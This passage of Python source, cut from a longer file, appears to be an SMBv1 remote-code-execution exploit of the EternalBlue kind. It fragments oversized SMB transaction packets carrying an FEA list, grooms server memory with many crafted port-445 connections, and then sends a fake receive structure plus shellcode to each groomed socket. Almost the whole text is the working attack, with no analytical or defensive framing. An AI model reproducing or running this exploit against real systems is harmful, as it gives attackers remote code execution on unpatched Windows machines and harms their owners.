transfer_command['Parameters']['TotalDataCount'] = len(data) fixed_offset = 32 + 3 + 38 + len(command) if len(params) > 0: pad_len = (4 - fixed_offset % 4) % 4 pad_bytes = '\xFF' * pad_len transfer_command['Data']['Pad1'] = pad_bytes else: transfer_command['Data']['Pad1'] = '' pad_len = 0 transfer_command['Parameters']['ParameterCount'] = len(params) transfer_command['Parameters'][ 'ParameterOffset'] = fixed_offset + pad_len if len(data) > 0: pad_to_len = (4 - (fixed_offset + pad_len + len(params)) % 4) % 4 transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len else: transfer_command['Data']['Pad2'] = '' pad_to_len = 0 transfer_command['Parameters']['DataCount'] = first_fragment transfer_command['Parameters']['DataOffset'] = transfer_command['Parameters']['ParameterOffset'] + \ len(params) + pad_to_len transfer_command['Data']['Trans_Parameters'] = params transfer_command['Data']['Trans_Data'] = data[:first_fragment] packet.addCommand(transfer_command) connection.sendSMB(packet) connection.recvSMB() # must be success i = first_fragment while i < len(data): send_size = min(4096, len(data) - i) if len(data) - i <= 4096: if not send_last: break send_transfer_second(connection, tid, data[i:i + send_size], i) i += send_size if send_last: connection.recvSMB() return i def create_connection_big_80(target): sk = socket.create_connection((target, 445)) packet = '\x00' + '\x00' + struct.pack('>H', 0xfff7) packet += 'BAAD' packet += '\x00' * 0x7c sk.send(packet) return sk try: connection = smb.SMB(target, target) connection.login_standard('', '') server_os = connection.get_server_os() print("connected to target server: {}".format(server_os)) for os in unacceptable_target_servers: if server_os.startswith(os): raise lib.settings.OperatingSystemNotSupported( "connected target: {} is not supported".format(server_os)) connection_tree = "\\\\{}\\IPC$".format(target) tid = connection.tree_connect_andx(connection_tree) progress = send_big_transfer(connection, tid, 0, fea_list, '\x00' * 30, 2000, False) alloc_connection = create_alloc_session(target, ntfea_size - 0x1010) server_net_connection = [] for _ in range(num_groom_connection): sk = create_connection_big_80(target) server_net_connection.append(sk) hole_connection = create_alloc_session(target, ntfea_size - 0x10) alloc_connection.get_socket().close() for _ in range(5): sk = create_connection_big_80(target) server_net_connection.append(sk) hole_connection.get_socket().close() send_transfer_second(connection, tid, fea_list[progress:], progress) retval_packet = connection.recvSMB() retval_status = retval_packet.getNTStatus() if retval_status == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retval_status)) for sk in server_net_connection: sk.send(fake_recv_struct + shell_code) for sk in server_net_connection: sk.close() connection.disconnect_tree(tid) connection.logoff() connection.get_socket().close() except Exception as e: print(str(e)) return False